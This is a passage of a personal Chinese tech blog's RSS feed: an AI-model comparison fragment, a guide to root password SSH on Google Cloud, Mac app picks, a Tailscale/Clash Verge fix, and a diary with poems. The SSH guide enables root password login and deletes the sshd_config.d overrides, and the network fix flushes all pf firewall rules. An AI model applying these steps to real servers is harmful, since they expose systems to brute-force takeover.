&lt;h2&gt;Kimi&lt;/h2&gt;
&lt;p&gt;开启长思考&lt;/p&gt;
&lt;p&gt;也不是不行….&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A666c53b0-5ebd-4df6-9c2d-3cb5a6a67caf%3Aimage.png?table=block&amp;amp;id=22cd4cd6-1e26-80eb-95c1-f222dddd3ef3&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;

&lt;h3&gt;qwen&lt;/h3&gt;
&lt;p&gt;qwen3-235b-a22b-07-25&lt;/p&gt;
&lt;p&gt;这个回答似乎还可以&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A183ebeac-7f56-4d94-82a2-c81e3c0da148%3Aimage.png?table=block&amp;amp;id=23bd4cd6-1e26-80e7-ba79-e5ab78efcafb&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A82b4a056-e2ba-43ac-a10e-c5fa56a29435%3Aimage.png?table=block&amp;amp;id=23bd4cd6-1e26-8051-a329-cfedf1fa3253&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;TBD&lt;/p&gt;
&lt;hr /&gt;
</content:encoded>
        </item>
        <item>
            <title><![CDATA[google cloud通过第三方工具密码登陆ssh]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/gcp-ssh</link>
            <guid isPermaLink="true">https://z-zh.lol/gcp-ssh</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>


&lt;h2&gt;&lt;strong&gt;1. IAM 权限与系统角色 (解决 sudo 报错)&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;&lt;li&gt;&lt;strong&gt;操作：&lt;/strong&gt; 在 Google Cloud 控制台的 &lt;strong&gt;IAM 和管理 → IAM &lt;/strong&gt; 页面，为账号添加 &lt;code&gt;&lt;strong&gt;Compute OS Admin Login&lt;/strong&gt;&lt;/code&gt;（计算引擎操作系统管理员登录）（搜索）角色。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;具体：&lt;/strong&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;在 IAM 列表中找到对应用户&lt;/strong&gt;：&lt;li&gt;修改&lt;strong&gt;已有账号&lt;/strong&gt;的权限：在用户列表中找到该账号，点击最右侧的 &lt;strong&gt;编辑图标&lt;/strong&gt;（铅笔形状）。&lt;/li&gt;&lt;li&gt;为账号添加 &lt;code&gt;&lt;strong&gt;Compute OS Admin Login&lt;/strong&gt;&lt;/code&gt;（计算引擎操作系统管理员登录）（搜索）角色。&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;保存&lt;/strong&gt;：点击 &lt;strong&gt;“保存” (SAVE)&lt;/strong&gt; 按钮生效。&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;!--/UL--&gt;
&lt;ul&gt;&lt;li&gt;&lt;strong&gt;目的：&lt;/strong&gt; 解决最初 &lt;code&gt;sudo&lt;/code&gt; 提示 &amp;quot;I&apos;m afraid I can&apos;t do that&amp;quot; 的权限阻断，让你拥有在网页终端提权 root 的合法身份。&lt;/li&gt;&lt;/ul&gt;
&lt;h2&gt;&lt;strong&gt;2. 虚拟机元数据调整 (解除云端托管)&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;&lt;li&gt;&lt;strong&gt;操作：&lt;/strong&gt; 在虚拟机详情页的“元数据”部分，手动添加键值对 &lt;code&gt;&lt;strong&gt;enable-oslogin = FALSE&lt;/strong&gt;&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;具体：&lt;/strong&gt;&lt;ol&gt;&lt;li&gt;进入 &lt;strong&gt;Compute Engine&lt;/strong&gt; -&amp;gt; &lt;strong&gt;虚拟机实例&lt;/strong&gt;。&lt;/li&gt;&lt;li&gt;点击目标虚拟机的 &lt;strong&gt;名称&lt;/strong&gt; 详情。&lt;/li&gt;&lt;li&gt;点击 &lt;strong&gt;“修改” (EDIT)&lt;/strong&gt;。&lt;/li&gt;&lt;li&gt;在 &lt;strong&gt;“元数据” (Metadata)&lt;/strong&gt; 部分，找到 &lt;code&gt;enable-oslogin&lt;/code&gt;。&lt;/li&gt;&lt;li&gt;将其值改为 &lt;code&gt;&lt;strong&gt;FALSE&lt;/strong&gt;&lt;/code&gt;（如果没有这一项，请添加 &lt;code&gt;enable-oslogin = FALSE&lt;/code&gt;）。&lt;/li&gt;&lt;li&gt;点击 &lt;strong&gt;保存&lt;/strong&gt;。&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目的：&lt;/strong&gt; 强制关闭 Google 的 OS Login 身份验证模式。如果不关闭此项，系统会优先走 IAM 密钥验证，从而忽略你手动设置的 root 密码。&lt;/li&gt;&lt;/ul&gt;
&lt;h2&gt;&lt;strong&gt;3. 修改 SSH 配置文件 (开启权限)&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;&lt;li&gt;&lt;strong&gt;设置密码：&lt;/strong&gt; &lt;code&gt;sudo -i&lt;/code&gt; 切换到 root ，然后使用 &lt;code&gt;passwd&lt;/code&gt; 命令为 root 账号设置了登录密码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;操作：&lt;/strong&gt; 登录网页 SSH 终端后，修改了 &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt; 文件：&lt;li&gt;&lt;code&gt;PermitRootLogin yes&lt;/code&gt; (允许 root 登录)&lt;/li&gt;&lt;li&gt;&lt;code&gt;PasswordAuthentication yes&lt;/code&gt; (允许密码验证)&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;!--/UL--&gt;
&lt;ul&gt;&lt;li&gt;&lt;strong&gt;重启：&lt;/strong&gt;reboot&lt;/li&gt;&lt;/ul&gt;
&lt;h2&gt;&lt;strong&gt;4. 清理模块化配置干扰 (最关键的突破)&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;&lt;li&gt;&lt;strong&gt;操作：&lt;/strong&gt; 删除了 &lt;code&gt;/etc/ssh/sshd_config.d/&lt;/code&gt; 目录下的所有 &lt;code&gt;.conf&lt;/code&gt; 文件（如 &lt;code&gt;50-cloud-init.conf&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;具体：&lt;/strong&gt;&lt;li&gt;确认第3步的修改是否有生效&lt;pre&gt;&lt;code class=&quot;language-Bash&quot;&gt;sudo sshd -T | grep -E &amp;quot;passwordauthentication|permitrootlogin&amp;quot;&lt;/code&gt;&lt;/pre&gt;&lt;li&gt;如果输出显示 &lt;code&gt;passwordauthentication no&lt;/code&gt;，说明&lt;strong&gt;配置文件修改没生效&lt;/strong&gt;（被覆盖了）。&lt;/li&gt;&lt;li&gt;如果输出显示 &lt;code&gt;yes&lt;/code&gt; 但你还是连不上，说明是 &lt;strong&gt;PAM 或 OS Login&lt;/strong&gt; 在底层拦截了验证。&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;!--/UL--&gt;&lt;ul&gt;&lt;li&gt;删除&lt;pre&gt;&lt;code class=&quot;language-Bash&quot;&gt;# 进入 root
sudo -i

# 查看有哪些干扰文件
ls /etc/ssh/sshd_config.d/

# 删除或清空这些干扰配置（它们通常强制设置了 PasswordAuthentication no）
rm -f /etc/ssh/sshd_config.d/*.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;强制在主配置中置顶&lt;pre&gt;&lt;code class=&quot;language-Bash&quot;&gt;# 使用 sed 直接修改并确保没有重复项
sed -i &apos;s/^#\?PasswordAuthentication.*/PasswordAuthentication yes/&apos; /etc/ssh/sshd_config
sed -i &apos;s/^#\?PermitRootLogin.*/PermitRootLogin yes/&apos; /etc/ssh/sshd_config

# 或者直接在文件最末尾追加（确保覆盖效果）
echo &amp;quot;PasswordAuthentication yes&amp;quot; &amp;gt;&amp;gt; /etc/ssh/sshd_config
echo &amp;quot;PermitRootLogin yes&amp;quot; &amp;gt;&amp;gt; /etc/ssh/sshd_config
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;重启&lt;pre&gt;&lt;code class=&quot;language-Bash&quot;&gt;# 重启 SSH 服务
systemctl restart sshd

# 再次验证配置是否真的变成了 yes
sshd -T | grep -E &amp;quot;passwordauthentication|permitrootlogin&amp;quot;

# 或者
reboot
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;!--/UL--&gt;
&lt;ul&gt;&lt;li&gt;&lt;strong&gt;原因：&lt;/strong&gt; 这是 2026 年新版镜像的特性。这些子目录里的配置优先级高于主配置文件。即使主文件改了，子目录里的 &lt;code&gt;PasswordAuthentication no&lt;/code&gt; 也会把你的修改覆盖掉。&lt;/li&gt;&lt;/ul&gt;</content:encoded>
        </item>
        <item>
            <title><![CDATA[awesome mymac]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/awesome-mymac</link>
            <guid isPermaLink="true">https://z-zh.lol/awesome-mymac</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;我的设备&lt;/strong&gt;&lt;/p&gt;
&lt;div style=&quot;padding:12px 16px;border:1px solid #e0e0e0;border-radius:4px;margin:8px 0;&quot;&gt;&lt;span style=&quot;margin-right:8px;&quot;&gt;💻&lt;/span&gt;&lt;p&gt;Apple MacBook Pro 2021 with Apple M1 Pro chip (14-inch, 16GB RAM, 512GB SSD) &lt;/p&gt;&lt;/div&gt;
&lt;hr /&gt;
&lt;h2&gt;🕸️ 浏览器&lt;/h2&gt;
&lt;h3&gt;chrome&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;优点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;chrome强大的插件生态，有无法取代的地位。&lt;/li&gt;
&lt;li&gt;Gemini in chrome，对网页的总结和直接引用对话具有独到的优势。全局快捷键呼起gemini。&lt;/li&gt;
&lt;li&gt;标签页拆分试图&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;缺点：&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;权限管理、内存管理上略为臃肿&lt;/li&gt;
&lt;li&gt;阅读模式无法独占整个标签页&lt;/li&gt;&lt;/ul&gt;

&lt;h3&gt;&lt;strong&gt;safari&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;优点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;界面依然是简洁的，阅读模式也很好，chrome莫名其妙的，阅读模式无法独占整个标签页。&lt;/li&gt;
&lt;li&gt;点击地址栏才显示书签，这个功能我觉得非常实用，非常人性化，不需要显示书签栏，不影响页面阅读&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;缺点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;缺少一些好用的插件&lt;/li&gt;
&lt;li&gt;无标签页拆分视图&lt;/li&gt;&lt;/ul&gt;

&lt;blockquote&gt;&lt;em&gt;可以说平分秋色，各有千秋，都没有100分&lt;/em&gt;&lt;/blockquote&gt;
&lt;h3&gt;arc&lt;/h3&gt;
&lt;p&gt;arc试用不习惯，主要是背景，在浏览网页的时候标签页周边有一圈其他颜色，并不沉浸，并且地址栏也在左边边栏，整体视觉太偏左了。&lt;/p&gt;
&lt;p&gt;使用过程中发现一些扩展选项（&lt;strong&gt;ZeroOmega&lt;/strong&gt;）无法打开，遂弃用。&lt;/p&gt;
&lt;h2&gt;📒 笔记软件&lt;/h2&gt;
&lt;h3&gt;notion&lt;/h3&gt;
&lt;p&gt;多端同步，block结构，用nextjs进行网站部署和同步，满足很多需求。其他笔记软件虽然能做到更简洁更专注，但多端同步和图片插入同步总是个问题。&lt;/p&gt;
&lt;p&gt;这个blog就是notion➕nextjs-notion-starter-kit➕vercel部署的&lt;/p&gt;
&lt;h3&gt;miaoyan&lt;/h3&gt;
&lt;p&gt;本地的md格式笔记软件，除了obsidian和typora之外，还有一个简洁美的miaoyan&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/tw93/MiaoYan&quot;&gt;https://github.com/tw93/MiaoYan&lt;/a&gt;&lt;/p&gt;

&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A605aeb66-1278-4d0e-95b3-8043b488405e%3Aimage.png?table=block&amp;amp;id=304d4cd6-1e26-805b-a8cd-cceb4ac5936c&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;作者的周刊也挺不错的，也是促使我写这篇文章的动力&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://weekly.tw93.fun/&quot;&gt;https://weekly.tw93.fun/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;🔋 电源管理&lt;/h2&gt;
&lt;h3&gt;Aldent&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://apphousekitchen.com/aldente-overview/&quot;&gt;https://apphousekitchen.com/aldente-overview/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;可以限制充电上限。&lt;/p&gt;
&lt;p&gt;对我来说最主要是可以看到充电功率，部分充电头可以看到型号和参数。&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A5464cd4d-2593-46d6-b932-619bba190041%3Aimage.png?table=block&amp;amp;id=304d4cd6-1e26-8019-8fde-c37f9f19a4cf&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h2&gt;翻译&lt;/h2&gt;
&lt;h3&gt;沉浸式翻译&lt;/h3&gt;

&lt;p&gt;非常好用的浏览器翻译插件，双语对照，自定义译文样式，大模型接入翻译&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3Aa049c6d1-e955-499d-a4eb-f46109aecb78%3Aimage.png?table=block&amp;amp;id=305d4cd6-1e26-801c-937e-d080765e0a19&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;可以直接使用官方提供的免费&lt;code&gt;GLM-4.7-flash&lt;/code&gt;接入&lt;/p&gt;
&lt;p&gt;选词翻译的悬浮快捷键可以只显示一个小圆点，不碍眼&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A2720fc07-a3f2-4334-bc01-c3d6f6ed4a27%3Aimage.png?table=block&amp;amp;id=305d4cd6-1e26-80d3-a6d3-d621b91f004a&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;还能网页PDF翻译，双语对照翻译后保存为文档，想必对文献阅读会很有帮助&lt;/p&gt;
&lt;p&gt;唯一的缺点就是没有桌面app可以实现全局翻译&lt;/p&gt;
&lt;h3&gt;Bob&lt;/h3&gt;
&lt;p&gt;所以就用到了这个全局翻译的工具，每天都有一定的免费额度。&lt;/p&gt;
&lt;p&gt;可以划词翻译、截图翻译&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A3b077bd8-ca81-46f0-886b-7a0074d34129%3Aimage.png?table=block&amp;amp;id=305d4cd6-1e26-80a0-8a22-c557bc4c4d0b&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;

&lt;h2&gt;RSS&lt;/h2&gt;
&lt;h3&gt;Qi Reader&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.qireader.com/&quot;&gt;https://www.qireader.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;🔗 &lt;a href=&quot;https://www.qireader.com/&quot;&gt;QiReader - A Modern Web RSS Reader&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;一个只有web端的阅读器，简约无广告，没有复杂的设置和多余的组件，专注于阅读。&lt;/p&gt;
&lt;p&gt;结合pwa，在电脑、手机、平板多设备上都可以实现统一ui，快速同步&lt;/p&gt;
&lt;p&gt;PS：丰富的主题样式，结合自带的「霞鹜文楷」字体，阅读体验挺好的&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3Abefb62a6-1f1c-4570-98d3-f81f6f26d5f3%3Aimage.png?table=block&amp;amp;id=31ad4cd6-1e26-804a-b76f-dcdae68837d7&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h3&gt;RSSHUB&lt;/h3&gt;
&lt;p&gt;rss源是用的RSSHUB官方镜像自建&lt;/p&gt;
&lt;p&gt;🔗 &lt;a href=&quot;https://docs.rsshub.app/&quot;&gt;RSSHub&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;编辑器&lt;/h2&gt;
&lt;h3&gt;notepad--&lt;/h3&gt;
&lt;p&gt;相当于windows上的notepad++，功能齐全，速度飞快，很轻便。用来文本查看，临时记录，打开文件夹简单查看产品日志&lt;/p&gt;
&lt;p&gt;支持macos、uos、windows、Linux&lt;/p&gt;
&lt;p&gt;🔗 &lt;a href=&quot;https://github.com/cxasm/notepad--&quot;&gt;GitHub - cxasm/notepad--: 一个支持windows/linux/mac的文本编辑器，目标是做中国人自己的编辑器，来自中国。&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;VSCode&lt;/h3&gt;
&lt;p&gt;神器不必多说，涉及到代码的时候多用这个做编辑，主要推荐一个主题，扩展商店直接搜就可以了，对眼睛和审美比较舒适的主题&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3Aa8e6c833-4204-4877-838b-bdd3837f504b%3Aimage.png?table=block&amp;amp;id=31ad4cd6-1e26-8056-8d04-dac701bde37f&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h2&gt;鼠标优化&lt;/h2&gt;
&lt;h3&gt;Mac Mouse Fix&lt;/h3&gt;
&lt;p&gt;众所周知，mac的触控板手势很方便，之前用鼠标的时候常常要结合触控板来使用。这个软件可以自定义鼠标手势替换触控板，这样用外置鼠标就可以完全替代触控板了&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A1a440ab0-1cb5-4994-8328-45cca2e8a32e%3Aimage.png?table=block&amp;amp;id=31ad4cd6-1e26-803f-a1bf-dbbbace963e6&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A86550bc2-f27a-4c57-baba-fdddf3e4f4a0%3Aimage.png?table=block&amp;amp;id=31ad4cd6-1e26-80fe-b8b8-db22fc685884&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;然鹅，mac的鼠标逻辑不管怎么优化都不如在windows上丝滑，回报率很低，现在是以屏幕刷新率为上限，MacBook Pro上限也只有125hz&lt;/p&gt;
</content:encoded>
        </item>
        <item>
            <title><![CDATA[Tailscale 与 Clash Verge 共存]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/ts-cv</link>
            <guid isPermaLink="true">https://z-zh.lol/ts-cv</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;日期&lt;/strong&gt;: 2026-02-13&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;环境&lt;/strong&gt;: macOS (Darwin), Tailscale, Clash Verge (TUN 模式)&lt;/p&gt;
&lt;h3&gt;1. 问题现象&lt;/h3&gt;
&lt;ul&gt;&lt;li&gt;&lt;strong&gt;国内网站无法访问&lt;/strong&gt;:  &lt;code&gt;Tailscale&lt;/code&gt; 和 &lt;code&gt;clash verge&lt;/code&gt; &lt;code&gt;tun&lt;/code&gt; 模式 共存，Chrome 浏览器无法打开&lt;code&gt;weibo&lt;/code&gt;、&lt;code&gt;Bilibili&lt;/code&gt; 等国内网站，但命令行 &lt;code&gt;ping&lt;/code&gt; 正常。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tailscale 内网不通&lt;/strong&gt;: 虽然 &lt;code&gt;tailscale ping&lt;/code&gt; 能通（走 DERP 中继），但无法通过 SSH 连接内网服务器 (&lt;code&gt;100.x.y.z&lt;/code&gt;)，提示 &lt;code&gt;Operation timed out&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS 解析异常&lt;/strong&gt;: &lt;code&gt;scutil --dns&lt;/code&gt; 显示 &lt;code&gt;Tailscale&lt;/code&gt; 的 DNS (&lt;code&gt;100.100.100.100&lt;/code&gt;) 抢占了系统首选解析器，导致国内域名解析失败或被错误路由。&lt;/li&gt;&lt;/ul&gt;
&lt;h3&gt;2. 根因分析&lt;/h3&gt;
&lt;ol&gt;&lt;li&gt;&lt;strong&gt;DNS 冲突 (MagicDNS 抢占)&lt;/strong&gt;:
Tailscale 默认开启 &amp;quot;Override local DNS&amp;quot;，导致 macOS 将所有 DNS 请求优先发往 Tailscale 的虚拟接口。由于 Clash 也在处理 DNS，两者发生冲突，导致国内域名无法正确解析或被阻断。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;路由/防火墙拦截 (Ghost PF Rules)&lt;/strong&gt;:
Clash Verge 的 TUN 模式在开启时会修改 macOS 的包过滤防火墙 (&lt;code&gt;pf&lt;/code&gt;) 规则以接管流量。在关闭 TUN 模式或切换配置时，部分残留的 &lt;code&gt;pf&lt;/code&gt; 规则错误地拦截了发往 Tailscale 网段 (&lt;code&gt;100.64.0.0/10&lt;/code&gt;) 的 TCP 流量（如 SSH），尽管 ICMP (Ping) 协议未受影响。&lt;/li&gt;&lt;/ol&gt;
&lt;h3&gt;3. 解决方案&lt;/h3&gt;
&lt;h4&gt;A. 解决 DNS 冲突 (已执行)&lt;/h4&gt;
&lt;p&gt;强制 Tailscale 不接管系统 DNS，仅负责内网路由。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Bash&quot;&gt;# 停止并重置 Tailscale 配置，添加 --accept-dns=false 参数
/Applications/Tailscale.app/Contents/MacOS/Tailscale up --accept-dns=false --reset&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;macOS 的 DNS 解析权交还给 Clash/系统。&lt;/li&gt;
&lt;li&gt;国内网站访问恢复正常。&lt;/li&gt;
&lt;li&gt;Tailscale 内网域名解析需依赖本地 hosts 或特定 DNS 配置，但 IP 直连不受影响。&lt;/li&gt;&lt;/ul&gt;
&lt;h4&gt;B. 解决 SSH 连接超时 (已执行)&lt;/h4&gt;
&lt;p&gt;清理 macOS 系统防火墙中残留的阻断规则。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Bash&quot;&gt;# 清除所有 pf (Packet Filter) 规则
sudo pfctl -F all

# (可选) 重新加载默认规则
sudo pfctl -f /etc/pf.conf&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;SSH 连接 (&lt;code&gt;ssh ubuntu@100.104.18.30&lt;/code&gt;) 成功建立。&lt;/li&gt;
&lt;li&gt;TCP 流量不再被错误拦截。&lt;/li&gt;&lt;/ul&gt;
&lt;h4&gt;C. 优化 Clash Verge 配置 &lt;/h4&gt;
&lt;p&gt;在 Clash 配置文件或 Merge 配置中显式排除 Tailscale 网段。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在 Clash 配置文件 (&lt;/strong&gt;&lt;code&gt;&lt;strong&gt;config.yaml&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt; 或 Merge) 中添加（建议，未执行）&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-YAML&quot;&gt;tun:
  enable: true
  stack: system # 或 gvisor
  # 关键：排除 Tailscale 网段，防止被 TUN 接管
  inet4-route-exclude-address:
    - 100.64.0.0/10&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者在 &lt;strong&gt;Clash 规则 (Rules)&lt;/strong&gt; 中添加以下直连规则（优先级需置顶，确保 Tailscale 流量直连）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-YAML&quot;&gt;rules:
  - PROCESS-NAME,Tailscale,DIRECT
  - DST-PORT,41641/udp,DIRECT
  - IP-CIDR,100.64.0.0/10,DIRECT
  - DOMAIN-SUFFIX,ts.net,DIRECT&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. 验证结果&lt;/h3&gt;
&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Web 浏览&lt;/strong&gt;: 国内外网站均正常。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内网互通&lt;/strong&gt;: &lt;code&gt;ssh -i ... ubuntu@100...&lt;/code&gt; 连接成功。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;共存状态&lt;/strong&gt;: &lt;code&gt;Tailscale&lt;/code&gt; (无 DNS 模式) + &lt;code&gt;Clash Verge&lt;/code&gt; (TUN 模式) 现已正常共存。&lt;/li&gt;&lt;/ul&gt;
&lt;hr /&gt;
</content:encoded>
        </item>
        <item>
            <title><![CDATA[yearly-2026]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/yearly2026</link>
            <guid isPermaLink="true">https://z-zh.lol/yearly2026</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>
&lt;hr /&gt;


&lt;h2&gt;20260314&lt;/h2&gt;
&lt;h3&gt;一些不敢多听的歌&lt;/h3&gt;
&lt;p&gt;带有沉重的悲伤，说不清是什么情绪，不只是寻常的男女之情，像是仿佛触及到心里自我认知中的消极绝望、在世界角落中的孤独和与生俱来的哀愁。&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;你在何地&lt;blockquote&gt;夜 天花板有这段戏 总关不上心里的放映机&lt;/blockquote&gt;&lt;p&gt;的娓娓道来&lt;/p&gt;&lt;p&gt;推进到高亢的&lt;/p&gt;&lt;blockquote&gt;深宵冰冷 情人你在何地&lt;/blockquote&gt;&lt;p&gt;你在何地……我好孤单，而你又是谁，我不知道&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;玻璃之情&lt;p&gt;以前听仿佛坠入悲海，不能呼吸。&lt;/p&gt;&lt;blockquote&gt;如果你太累 及时地道别没有罪&lt;/blockquote&gt;&lt;p&gt;刚知道作曲就是Leslie，又笼罩了一层悲&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;梦到内河&lt;p&gt;当年听完真的不敢再听一次的歌…&lt;/p&gt;&lt;p&gt;简洁的乐器组合，主歌急促的钢琴为主，重要的咬字上加以大鼓和敲击（钟类？青铜器？）乐器，进入副歌弦乐提琴加入主导情绪，哀伤婉转，配合林夕节奏快又碎的歌词，混乱中的和谐与突破，似要冲出某种禁锢，高潮后收尾又回归冷静。&lt;/p&gt;&lt;blockquote&gt;自那天遗下我 我早化作磷火&lt;/blockquote&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;其实都是Leslie的歌，原来转眼又要到4.1了，R.I.P&lt;/p&gt;
&lt;hr /&gt;

&lt;h2&gt;20260225&lt;/h2&gt;
&lt;p&gt;又是一年离家，俗话说充电器一拨又是一年，今年离开时没有太多波澜，在乡里逛也没有之前那么浓重的情绪，也许是身上有更明确的愿望，更加自洽了。离家之际把情绪寄托在以下字字句句中。&lt;/p&gt;
&lt;h3&gt;乡愁&lt;/h3&gt;

&lt;p&gt;乡愁是一方茶盘&lt;/p&gt;
&lt;p&gt;他在注水氤氲&lt;/p&gt;
&lt;p&gt;我在杯底看叶&lt;/p&gt;

&lt;p&gt;乡愁是一张毛巾&lt;/p&gt;
&lt;p&gt;她在祝祷里&lt;/p&gt;
&lt;p&gt;我在行囊中&lt;/p&gt;

&lt;p&gt;乡愁是一列火车&lt;/p&gt;
&lt;p&gt;他在车尾乡&lt;/p&gt;
&lt;p&gt;我在车头愁&lt;/p&gt;

&lt;p&gt;乡愁是一勾娥眉月&lt;/p&gt;
&lt;p&gt;她在月眉上&lt;/p&gt;
&lt;p&gt;我在月光下&lt;/p&gt;
&lt;hr /&gt;
</content:encoded>
        </item>
        <item>
            <title><![CDATA[情与义值千金]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/dearyou</link>
